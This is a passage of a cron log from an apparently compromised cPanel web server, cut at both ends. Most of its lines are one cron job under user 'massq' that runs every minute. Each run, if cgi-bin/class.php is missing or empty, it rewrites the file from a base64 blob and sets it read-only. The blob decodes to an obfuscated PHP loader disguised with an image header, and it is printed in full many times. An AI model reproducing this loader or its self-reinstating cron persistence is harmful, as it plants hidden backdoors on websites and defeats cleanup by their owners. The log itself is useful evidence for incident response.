wFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:15:01 server CROND[31750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:15:01 server CROND[31749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:15:01 server CROND[31751]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr 12 06:15:01 server CROND[31752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:15:01 server CROND[31753]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 06:16:01 server CROND[31892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:17:01 server CROND[31947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:18:01 server CROND[32086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:19:01 server CROND[32138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:20:01 server CROND[32191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:20:01 server CROND[32189]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 06:20:01 server CROND[32192]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 06:20:01 server CROND[32190]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:20:01 server CROND[32196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:21:01 server CROND[32300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:22:01 server CROND[32344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:23:01 server CROND[32451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:24:01 server CROND[32529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:25:01 server CROND[32581]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 06:25:01 server CROND[32583]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 06:25:01 server CROND[32584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:25:01 server CROND[32582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 06:26:01 server CROND[32701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:27:01 server CROND[32758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 06:27:01 server CROND[32759]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 06:28:01 server CROND[348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 